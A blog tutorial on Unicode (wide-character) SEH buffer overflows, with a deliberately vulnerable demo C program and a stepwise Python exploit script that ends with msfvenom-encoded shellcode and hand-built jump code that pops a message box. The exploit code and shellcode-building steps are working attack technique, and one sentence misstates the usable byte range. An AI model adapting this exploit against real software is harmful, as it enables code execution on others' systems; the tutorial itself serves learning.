[Learning] Unicode Overflow

First Post:

Last Update:

Word Count:
2.7k

Read Time:
17 min

Introduction

This article is part of my series: From Bug To Exploit.

In this article, I will introduce the principle of Unicode overflow.

Murmur: While studying this technique with my textbook, I was struggling with the “standard answer” (somed details were not very clear). I then gave up reading the book and finally understood the workflow of Unicode overflow!

Unicode Overflow

Unicode overflow is a specific type of buffer overflow vulnerability that occurs during string conversion or manipulation involving wide characters (such as UTF-16) or multi-byte character sets.

Murmur: I assume my readers are skilled in programming (are you?). Therefore, I will not introduce how important Unicode is…

The most special feature of Unicode overflow is that the data in a buffer will be converted from ASCII to Unicode.

Usually, a Unicode system uses two bytes to store a letter, while ASCII only uses one. As a result, data that was originally only one byte will become two bytes. For example, the letter \x41 will become \x00\x41 (padding with a null byte).

In addition, for compatibility reasons, when ASCII-encoded data is converted to Unicode, data from \x00 to \x7F remains unchanged, but with a padding \x00 at the beginning of them. Only the data \x80 to \xFF change.

This raises a problem: the final result of converting data from \x80 to \xFF depends on the operating system and the application. In other words, they are unpredictable, and shouldn’t be, since we cannot know the remote encoding system when performing an attack. Therefore, our shellcode can only be developed using data from \x80 to \xFF, without any bad characters.

Another issue is that the original shellcode thatt worked in the previous articles will not work as well. For example, we used 0x41414141 to overwrite EIP. In Unicode overflow, however, the final value of EIP is 0x00410041, which directly affects overwriting the address of RET or SEH.

What’s more, we used instructions like jmp esp to redirect the execution flow to the stack. In Unicode overflow, however, we can only use addresses in the form of 00mm00nn. If we cannot find any address in this form, then we have to check whether there are any nearby addresses available that will not affect the execution of jmp esp.

As we can see, a Unicode environment significantly increases the difficulty of performing a remote code execution. Therefore, performing a Unicode overflow is much more difficult than the previous techniques.

Note: Of course, it makes no difference if you just want to cause a Denial-of-Service.

In modern systems, it is rare that we can perform a Unicode overflow. However, it really helps us understand how assembly and Unicode work, as the demand for understanding NASM and memory layout is higher than with the previous techniques. In addition, the next topic, MS08-067, is also about Unicode.

Demonstration

In this section, I will perform a Unicode overflow with a vulnerable demo application.

Compile the program below in Dev-C++:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// vulnerable_ex.c

#include <stdlib.h>
#include <stdio.h>
#include <windows.h>

char* const here = (char*)0x00400060;

void foo(void *src_buffer, size_t const len)
{
size_t const BUF_LENGTH = 128;
char bad_buffer[BUF_LENGTH];

memcpy(bad_buffer, src_buffer, len * 2); // bad usage
}

int main(int argc, char **argv)
{
DWORD oldProtect;
VirtualProtect((LPVOID)0x00400000, 0x1000, PAGE_EXECUTE_READWRITE, &oldProtect);

memcpy(here, "\x90\x58\x58\xc3", 4);

printf("\"here\" address is at: 0x%p\n", (void*)here);

size_t const STR_LENGTH = 4096;
wchar_t *unicode_buffer = (wchar_t *)malloc(STR_LENGTH);
char ascii_buffer[STR_LENGTH];
FILE* pfile;
int rt;

printf("Starts...\n");

if (argc >= 2)
{
pfile = fopen(argv[1], "r");
fscanf(pfile, "%s", ascii_buffer);
rt = MultiByteToWideChar(CP_UTF7, 0, ascii_buffer, -1, unicode_buffer, STR_LENGTH);
if (rt == 0)
{
printf("Error\n");
return 1;
}

foo(unicode_buffer, rt * 2);
}

printf("Ends...\n");

free(unicode_buffer);
return 0;
}

Here, I modified the original example from my textbook to fit this case, as the address of here may not match the requirements for performing a Unicode overflow. After compiling, the address is located at 0x00400060.

Now, let’s try to crash the application:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# exploit.py

import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--dos', action='store_true')
parser.add_argument('--poc', action='store_true')
parser.add_argument('--exploit', action='store_true')
args = parser.parse_args()

def do_dos():
junk = b'A' * 3000

with open('exploit.txt', 'wb') as f:
f.write(junk)

def do_poc():
pass

def do_exploit():
pass

def main():
if args.dos:
do_dos()
elif args.poc:
do_poc()
elif args.exploit:
do_exploit()
else:
parser.print_help()
return

print('[+] File has been built')

if __name__ == '__main__':
main()

After opening it with Immunity Debugger, the program crashes. We can see that the values of SEH and NSEH have been overwritten. As I mentioned before, the value 0x41414141 becomes 0x00410041.

Next, we need to find the exact offset:

After overwriting SEH and NSEH again, note that the values here cannot be used directly since they contain \x00 padding. In this case, right-click the first handler and click “Follow address in stack”:

As shown in the stack window, our data first overwrote NSEH and then SEH. Since the addresses use little-endian byte order, the data used to overwrite the two fields is 0x3000430079003100. After removing the \x00 bytes, we get 0x30437931.

Then, we can modify the exploit script as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# exploit.py

import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--dos', action='store_true')
parser.add_argument('--poc', action='store_true')
parser.add_argument('--exploit', action='store_true')
args = parser.parse_args()

OFFSET_NEXT = 2282

def do_dos():
pass

def do_poc():

with open('exploit.txt', 'wb') as f:
junk = OFFSET_NEXT * b'A'
next_val = b'BB'

handler = b'\x60\x40'

more_junk = b'B' * 1000

buffer = junk + next_val + handler + more_junk

f.write(buffer)

def do_exploit():
pass

def main():
if args.dos:
do_dos()
elif args.poc:
do_poc()
elif args.exploit:
do_exploit()
else:
parser.print_help()
return

print('[+] File has been built')

if __name__ == '__main__':
main()

After executing RETN, we have successfully jumped to a bunch of \x42, which is the more_junk we used in the script.

However, we don’t have enough space to store our shellcode. Therefore, this small space can be used for another piece of shellcode to perform a second jump.

How about the final payload used to prompt a MessageBox? We can put it into the junk filled with \x41:

How can we jump onto this junk data? We just need to use the characteristics of popad and ret. If we execute popad, the register EAX will be loaded with the value from the first slot of the stack. Therefore, we can modify the value of EAX, execute PUSH EAX and RET, and eventually jump onto the junk data.

Therefore, we can implemented our second jump code like this:

1
2
3
4
5
6
7
[BITS 32]

popad
add eax, 0x11001500
sub eax, 0x11001100
push eax
ret

After compiling, the the opcode looks like this:

Corrupted

Note: Since the application appends \x00 bytes, we have to develop code that can be executed even when \x00 bytes are appended, and then remove all \x00 from our final payload.

But we still have a problem. As I mentioned before, our shellcode needs to be in the form of 00mm00nn. Therefore, we need to append instructions that do not affect the execution flow, such as 00 72 00 (add [byte edx + 0], dh), to our shellcode.

Therefore, the final jump code can be implemented as follows:

1
2
3
4
5
6
7
8
9
10
11
[BITS 32]

popad
add [byte edx + 0], dh
add eax, 0x11001500
add [byte edx + 0], dh
sub eax, 0x11001100
add [byte edx + 0], dh
push eax
add [byte edx + 0], dh
ret

Here are some useful opcodes, so we don’t have to completely understand how our CPUs process the binary:

Opcode Instruction
007100 add [ecx], dh
007200 add [edx], dh
007300 add [ebx], dh
0500QQ00PP add eax, 0xPP00QQ00
2D00QQ00PP sub eax, 0xPP00QQ00

Finally, we can build the main payload using msfvenom. Again, the same problem arises: our shellcode has to be in the form of 00mm00nn. In the past, people could use tools such as alpha2 to generate shellcode compatible with Unicode overflow. Fortunately, modern msfvenom has alpha2 built in and can generate shellcode for Unicode overflow!

1
2
msfvenom -l encoders | grep "alpha"
msfvenom -l encoders | grep "unicode"

1
msfvenom -p windows/messagebox TEXT="hello" -a x86 --platform windows -e x86/unicode_upper BufferRegister=EAX -f python -v shellcode

Note: BufferRegister is a parameter for x86/unicode_upper, just like TEXT for windows/messagebox.

Lastly, how do we know where to fit our shellcode? We just need to debug our application once again:

After executing the second jump code, it is located at 0x0022EEF8. Since our large amout of junk data starts at 0x22EE0D, the offset is 0x22EEF8 minus 0x22EE0D, which is 0xEC (236 in decimal).

Since the application uses Unicode, each character takes up 2 byte. Therefore, the offset (the size of the junk data) is 236 divided by 2, which is 118 in decimal.

Therefore, our completed exploit script can be implemented as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
# exploit.py

import argparse

parser = argparse.ArgumentParser()
parser.add_argument('--dos', action='store_true')
parser.add_argument('--poc', action='store_true')
parser.add_argument('--exploit', action='store_true')
args = parser.parse_args()

OFFSET_NEXT = 2282

# msfvenom -p windows/messagebox TEXT="hello" -a x86 --platform windows -e x86/unicode_upper -f python -v shellcode BufferRegister=EAX
shellcode = b""
shellcode += b"\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49"
shellcode += b"\x41\x51\x41\x54\x41\x58\x41\x5a\x41\x50\x41"
shellcode += b"\x33\x51\x41\x44\x41\x5a\x41\x42\x41\x52\x41"
shellcode += b"\x4c\x41\x59\x41\x49\x41\x51\x41\x49\x41\x51"
shellcode += b"\x41\x50\x41\x35\x41\x41\x41\x50\x41\x5a\x31"
shellcode += b"\x41\x49\x31\x41\x49\x41\x49\x41\x4a\x31\x31"
shellcode += b"\x41\x49\x41\x49\x41\x58\x41\x35\x38\x41\x41"
shellcode += b"\x50\x41\x5a\x41\x42\x41\x42\x51\x49\x31\x41"
shellcode += b"\x49\x51\x49\x41\x49\x51\x49\x31\x31\x31\x31"
shellcode += b"\x41\x49\x41\x4a\x51\x49\x31\x41\x59\x41\x5a"
shellcode += b"\x42\x41\x42\x41\x42\x41\x42\x41\x42\x33\x30"
shellcode += b"\x41\x50\x42\x39\x34\x34\x4a\x42\x4b\x4c\x39"
shellcode += b"\x58\x34\x4f\x4d\x30\x4d\x30\x4b\x50\x43\x30"
shellcode += b"\x33\x59\x4b\x35\x30\x31\x4a\x32\x51\x54\x44"
shellcode += b"\x4b\x30\x52\x4e\x50\x44\x4b\x50\x52\x4c\x4c"
shellcode += b"\x44\x4b\x50\x52\x4e\x34\x4e\x51\x4b\x4f\x44"
shellcode += b"\x4b\x44\x32\x4d\x58\x4c\x4f\x37\x47\x30\x4a"
shellcode += b"\x4d\x56\x4e\x51\x57\x50\x56\x4c\x4f\x4c\x43"
shellcode += b"\x31\x33\x4c\x4d\x32\x4e\x4c\x4f\x30\x49\x31"
shellcode += b"\x58\x4f\x4c\x4d\x4d\x31\x48\x47\x50\x49\x34"
shellcode += b"\x35\x4a\x4f\x32\x32\x54\x4b\x32\x32\x4c\x50"
shellcode += b"\x42\x37\x54\x4b\x4f\x52\x4f\x4c\x4d\x31\x4a"
shellcode += b"\x30\x34\x4b\x4f\x50\x34\x38\x45\x35\x57\x50"
shellcode += b"\x34\x34\x50\x4c\x4b\x51\x5a\x30\x34\x4b\x50"
shellcode += b"\x58\x4f\x30\x34\x4b\x51\x38\x4e\x38\x42\x30"
shellcode += b"\x4b\x51\x4a\x33\x43\x55\x57\x59\x33\x44\x4f"
shellcode += b"\x4c\x4f\x59\x44\x4b\x50\x34\x44\x4b\x50\x31"
shellcode += b"\x4b\x4f\x4b\x51\x38\x56\x50\x31\x37\x50\x56"
shellcode += b"\x4c\x57\x51\x58\x4f\x4c\x4d\x4d\x31\x38\x47"
shellcode += b"\x30\x38\x49\x50\x44\x35\x4a\x54\x4c\x43\x33"
shellcode += b"\x4d\x4b\x48\x4f\x4b\x53\x4d\x4d\x54\x53\x45"
shellcode += b"\x49\x50\x50\x58\x54\x4b\x52\x38\x4f\x34\x4d"
shellcode += b"\x31\x58\x53\x33\x36\x44\x4b\x4c\x4c\x30\x4b"
shellcode += b"\x54\x4b\x50\x58\x4d\x4c\x4d\x31\x5a\x33\x54"
shellcode += b"\x4b\x4c\x44\x34\x4b\x4d\x31\x48\x50\x53\x59"
shellcode += b"\x30\x44\x4f\x34\x4e\x44\x51\x4b\x31\x4b\x53"
shellcode += b"\x31\x30\x59\x31\x4a\x32\x31\x4b\x4f\x39\x50"
shellcode += b"\x30\x58\x51\x4f\x50\x5a\x44\x4b\x4e\x32\x4b"
shellcode += b"\x39\x53\x50\x4b\x4f\x4b\x4f\x4b\x4f\x31\x4d"
shellcode += b"\x59\x58\x4c\x4b\x4b\x50\x4d\x30\x4b\x50\x42"
shellcode += b"\x55\x43\x43\x53\x35\x32\x52\x4e\x53\x30\x32"
shellcode += b"\x4e\x4e\x43\x34\x32\x4c\x32\x4c\x4d\x30\x33"
shellcode += b"\x38\x50\x4c\x33\x47\x4d\x56\x4b\x57\x4b\x4f"
shellcode += b"\x39\x45\x52\x4a\x4b\x50\x5a\x48\x4c\x4b\x4d"
shellcode += b"\x30\x4b\x50\x4d\x30\x30\x4d\x53\x35\x53\x43"
shellcode += b"\x44\x33\x33\x31\x33\x37\x31\x55\x50\x42\x42"
shellcode += b"\x4f\x43\x48\x4b\x50\x59\x58\x4d\x36\x4d\x30"
shellcode += b"\x4d\x30\x4b\x50\x43\x38\x53\x35\x32\x4c\x52"
shellcode += b"\x4c\x42\x4f\x4d\x30\x32\x4a\x4d\x30\x51\x58"
shellcode += b"\x50\x45\x34\x43\x31\x46\x4c\x47\x4b\x4f\x48"
shellcode += b"\x55\x42\x4a\x4b\x50\x43\x38\x4c\x30\x56\x55"
shellcode += b"\x35\x52\x31\x46\x4b\x4f\x39\x45\x41\x41"

def do_dos():
pass

def do_poc():
pass

def do_exploit():

with open('exploit.txt', 'wb') as f:

OFFSET = 118

junk1 = OFFSET * b'A'
junk2 = (OFFSET_NEXT - len(junk1) - len(shellcode)) * b'B'

# 0x0022EE0D
# ...
# ...

# [EAX] = 0x0022EAF8

next_val = b''
next_val += b'\x61' # popad
next_val += b'\x72' # add [edx], dh

handler = b'\x60\x40'

jumpcode = b''
jumpcode += b'\x72' # add [edx], dh
jumpcode += b'\x05\x15\x11' # add eax, 0x11001500
jumpcode += b'\x72' # add [edx], dh
jumpcode += b'\x2d\x11\x11' # sub eax, 0x11001100
jumpcode += b'\x72' # add [edx], dh
jumpcode += b'\x50' # push eax
jumpcode += b'\x72' # add [edx], dh
jumpcode += b'\xc3' # ret

buffer = junk1 + shellcode + junk2 + next_val + handler + jumpcode

f.write(buffer)

def main():
if args.dos:
do_dos()
elif args.poc:
do_poc()
elif args.exploit:
do_exploit()
else:
parser.print_help()
return

print('[+] File has been built')

if __name__ == '__main__':
main()

Now, let’s exploit the application again. The messagebox has been shown!

Conclusion

This, time, I learned much more than I originally expected.

At first, I though Unicode overflow was simply another type of buffer overflow technique. However, while working on the exploit, I realized that there were many details that were not explained clearly in my textbook. On top of that, some of the tools and environments mentioned in the book are already outdated, which caused me even more trouble during the process.

I had to understand how Unicode conversion affects our payload, why the shellcode needs to follow a specific format, and how thoese NASM instructions are actually translated into opcodes.

Only after understanding all of these details did I finally manage to make the exploit work.

Honestly, this was much more difficult than I expected, but I also learned much more than I expected. Sometimes, understanding the details behind an exploit is much more important than simply following the “standard answer” from a textbook.

This is the end of the article. If you have any comments or suggestions, please feel free to leave them below!

THANKS FOR READING!

I drew a new drawing!

Good afternoonnnnnn!